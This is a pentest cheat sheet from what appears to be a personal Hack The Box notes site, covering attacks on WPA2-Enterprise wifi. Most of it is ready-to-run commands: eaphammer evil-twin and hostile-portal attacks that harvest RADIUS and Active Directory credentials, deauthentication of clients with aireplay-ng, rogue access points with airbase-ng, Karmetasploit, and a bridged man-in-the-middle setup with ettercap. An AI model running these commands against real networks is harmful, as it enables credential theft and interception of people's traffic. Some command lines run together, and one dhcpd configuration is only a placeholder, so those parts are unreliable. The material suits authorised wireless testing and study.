~/bokkapig
hack the box machine writeups
← cd ..

Wifi - Enterprise Network

contents
wifi-corporate.md

WPA and WPA2 EAP#

WPA EAP refers to the use of the Extensible Authentication Protocol (EAP) within the context of the Wi-Fi Protected Access (WPA) security standard for wireless networks. WPA is a suite of security protocols to secure wireless local area networks (WLANs) and is a response to the vulnerabilities of the older Wired Equivalent Privacy (WEP) standard. WPA EAP is specifically associated with the enterprise mode of WPA, which uses 802.1X authentication to provide a higher level of security compared to the personal mode of WPA, which uses a pre-shared key (PSK).

  • s0lst1c3/eaphammer - Targeted evil twin attacks against WPA2-Enterprise networks.

    git clone https://github.com/s0lst1c3/eaphammer.git./kali-setup# generate certificates./eaphammer --cert-wizard# launch attack./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds# deauth users and wait for them to connect to our APaireplay-ng -0 0 -a MAC_ADDR_AP -c MAC_ADDR_TARGET wlan0mon

  • Stealing RADIUS Credentials Using EAPHammer

    ./eaphammer --bssid 1C:7E:E5:97:79:B1 --essid Example --channel 2 --interface wlan0 --auth wpa-eap --creds

  • Stealing AD Credentials Using Hostile Portal Attacks

    ./eaphammer --interface wlan0 --bssid 1C:7E:E5:97:79:B1 --essid EvilC0rp --channel 6 --auth wpa-eap --hostile-portal./eaphammer --interface wlan0 --essid TotallyLegit --hw-mode n --channel 36 --auth open --hostile-portal

  • Performing Captive Portal Attacks - Evil Twin Attacks

    ./eaphammer --bssid 1C:7E:E5:97:79:B1 --essid HappyMealz --channel 149 --interface wlan0 --captive-portal./eaphammer --captive-portal -e guestnet -i wlan0 --portal-template rogue-cert-prompt --lhost 10.0.0.10 --payload secure.crt

Rogue Access Point#

WPA handshake#

airmon-ng start wlan0 3airodump-ng -c 3 -d $ATTACKER_MAC -w airbase mon0# basic fake APairbase-ng -c 3 -e $AP_SSID mon0airbase-ng -c 3 -e $AP_SSID -z 4 -W 1 mon0-W 1 : WEP# get a WPA handshake if the client connectaircrack-ng -w /pentest/passwords/john/password.lst airbase-01.cap

Karmetasploit#

# install a dhcp serverapt install dhcp3-serverairmon-ng start wlan0 3airbase-ng -c 3 -P -C 60 -e $AP_MAC -v mon0-P: respond to all probesifconfig at0 up 10.0.0.1/24mkdir -p /var/run/dhcpdchown -R dhcpd:dhcpd /var/run/dhcpdtouch /var/lib/dhcp3/dhcpd.leases# The following line is a placeholder. Replace it with a valid dhcpd.conf configuration."CONF DHCP FROM VIDEO 75" > /tmp/dhcpd.conftouch /tmp/dhcp.logchown -R dhcpd:dhcpd /tmp/dhcp.logdhcpd3 -f -cf /tmp/dhcpd.conf -pf /var/run/dhcpd/pid -lf /tmp/dhcp/log at0karma.rc from metasploit# comment the first 2 lines (e.g., load db_sqlite3 and db_connect)msfconsole -r /root/karma.rc

Access Point MITM#

airmon-ng start wlan0 3airbase-ng -c 3 -e $AP_SSID_SPOOFED mon0# create a bridged interface# apt-get install bridge-utilsbrctl addbr hackerbrctl addif hacker eth0brctl addif hacker at0# assign IP addressesifconfig eth0 0.0.0.0 upifconfig at0 0.0.0.0 upifconfig hacker 192.168.1.8 up# enable IP forwardingecho 1 > /proc/sys/net/ipv4/ip_forward# mitm toolsdriftnetettercap -GSniff > Unified sniffing > Hacker Interface

References#